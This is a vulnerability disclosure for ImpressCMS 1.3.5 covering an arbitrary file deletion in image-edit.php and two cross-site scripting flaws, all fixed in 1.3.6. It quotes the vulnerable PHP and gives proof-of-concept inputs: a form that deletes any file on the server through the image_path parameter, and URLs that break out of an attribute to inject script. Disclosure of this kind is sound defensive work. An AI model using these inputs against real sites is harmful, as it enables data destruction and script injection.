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I have discovered two vulnerabilities in ImpressCMS. These have been fixed in the new 1.3.6 version, which you can get at https://sourceforge.net/projects/impresscms/files/ImpressCMS%20Official%20Releases/ImpressCMS%201.3%20Branch/ImpressCMS%201.3.6/. One is an arbitrary file deletion and the other is two cross site scripting issues. Note that I was unable to exploit the XSS issues due to the inbuilt protection module, but someone smarter / with more time might be able to do it. The tickets containing the information are available here https://www.assembla.com/spaces/dW4voyNP0r4ldbeJe5cbLr/tickets?report%5Bestimate_show%5D=true&report%5Bid%5D=0&report%5Bmilestone_id_cond%5D=1&report%5Bmilestone_id_val%5D=4129593&report%5Btitle%5D=All+Tickets+for+%27ImpressCMS+1.3.6%27&report%5Btotal_estimate_show%5D=true&report%5Btotal_invested_hours_show%5D=true&report%5Bworking_hours_show%5D=true. The full report can be seen at my repo https://github.com/pedrib/PoC/blob/master/impresscms-1.3.5.txt Thanks in advance, and thanks to the ImpressCMS team for being so responsive. Regards, Pedro Ribeiro Agile Information Security -------- Proof of concept: ImpressCMS 1.3.5 vulnerabilities =================================== Discovered by Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security ======================================== Vulnerability: Deletion of arbitrary files in the system File(line): /impresscms/htdocs/libraries/image-editor/image-edit.php(62) Code snippet: if (! is_null ( $op ) && $op == 'cancel') { $image_path = isset ( $_GET ['image_path'] ) ? $_GET ['image_path'] : null; if (file_exists ( $image_path )) { @unlink ( $image_path ); } Proof of concept: <form name="input" action="http://192.168.56.101/impresscms/htdocs/libraries/image-editor/image-edit.php?op=cancel&image_path=/path/to/any/file" method="post"> <input type="submit" value="Submit"> </form> ======================================== Vulnerability: Cross site scripting (XSS) File(line): /impresscms/htdocs/misc.php(110) Code snippet: <h4><?php echo _MSC_AVAVATARS;?></h4> <form name='avatars' action='<?php echo $_SERVER['REQUEST_URI'];?>'> <table width='100%'> Proof of concept: https://192.168.56.101/impresscms/htdocs/misc.php?action=showpopups&type=avatars&target='>PAYLOAD NOTE: wasn't able to exploit with Protector on, but someone smarter might be able to do it. ======================================== Vulnerability: Cross site scripting (XSS) File(line): /impresscms/modules/system/admin/tplsets/main.php(171) Code snippet: case 'listtpl': $tplset = trim($_GET['tplset']); if ($tplset == '') { redirect_header('admin.php?fct=tplsets', 1); } if ($moddir == '') { redirect_header('admin.php?fct=tplsets', 1); } icms_cp_header(); $module_handler = icms::handler('icms_module'); $module =& $module_handler->getByDirname($moddir); $modname = $module->getVar('name'); echo '<div class="CPbigTitle" style="background-image: url(' . ICMS_MODULES_URL . '/system/admin/tplsets/images/tplsets_big.png)">' . '<a href="https://www.exploit-db.com/exploits/31431/admin.php?fct=tplsets">'. _MD_TPLMAIN .'</a> <span style="font-weight:bold;">»»</span> ' . $tplset . ' <span style="font-weight:bold;">»»</span> ' . $modname . '<br /><br /></div><br />'; Proof of concept: https://192.168.56.101/impresscms/htdocs/modules/system/admin.php?fct=tplsets&op=listtpl&tplset=aaaa">PAYLOAD&moddir=banners NOTE: wasn't able to exploit with Protector on, but someone smarter might be able to do it. |
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